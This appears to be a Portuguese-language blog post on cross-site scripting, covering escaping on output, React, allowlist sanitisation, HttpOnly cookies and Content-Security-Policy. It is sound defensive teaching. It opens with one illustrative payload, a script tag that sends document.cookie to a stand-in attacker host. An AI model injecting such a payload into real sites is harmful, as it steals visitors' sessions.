FNSP Web Page

XSS: escapar à saída, não à entrada

Um comentário com isto lá dentro:

<script>fetch('https://mau.example?c=' + document.cookie)</script>

Se a página o mostrar como HTML, o script corre no browser de quem visita, com a sessão de quem visita. É o cross-site scripting, e continua a ser a vulnerabilidade mais comum na web.

1. Os três sabores

  • Armazenado — vai para a base num comentário ou num perfil, e atinge toda a gente que abra a página. É o pior.

  • Refletido — vem no endereço e volta na resposta. Precisa de convencer alguém a clicar num link.

  • No DOM — nunca chega ao servidor: é JavaScript da própria página a escrever num innerHTML algo que veio do endereço.

2. A defesa é o sítio onde se escapa

Há um reflexo comum que é limpar os dados à entrada. É frágil: o que é perigoso depende de onde o texto vai parar. As mesmas aspas são inofensivas num parágrafo e são uma porta dentro de um atributo.

A regra é escapar à saída, conforme o contexto. E a boa notícia é que qualquer framework moderna já o faz:

// Seguro: o React escapa tudo o que passa como texto
<p>{comentario.texto}</p>

// A porta aberta, e o nome diz tudo
<div dangerouslySetInnerHTML={{ __html: comentario.texto }} />

3. Quando é mesmo preciso mostrar HTML

Há casos legítimos: um editor de texto formatado guarda HTML e é para ser mostrado como tal. Aí sanitiza-se com uma biblioteca a sério, com uma lista do que é permitido:

import sanitizeHtml from 'sanitize-html';

const limpo = sanitizeHtml(html, {
  allowedTags: ['p', 'strong', 'em', 'ul', 'li', 'a', 'code', 'pre'],
  allowedAttributes: { a: ['href', 'title'] },
  allowedSchemes: ['http', 'https', 'mailto'], // sem javascript:
});

Lista do que entra, nunca lista do que sai: uma lista de coisas proibidas é sempre uma lista incompleta.

4. As duas camadas seguintes

  • Cookies com HttpOnly — o JavaScript não lhes toca, portanto um XSS não rouba a sessão. É a diferença entre um susto e uma conta perdida.

  • Content-Security-Policy — diz ao browser de onde é que pode correr scripts. Bem configurada, um <script> injetado não chega a executar.

Nenhuma delas substitui escapar à saída. Servem para o dia em que essa falhar.

Comentários

Ainda ninguém comentou este artigo.

Voltar ao blog

Gostávamos de saber quantas pessoas visitam o site, com o Google Analytics. Sem a sua autorização não corre nada. Política de Privacidade.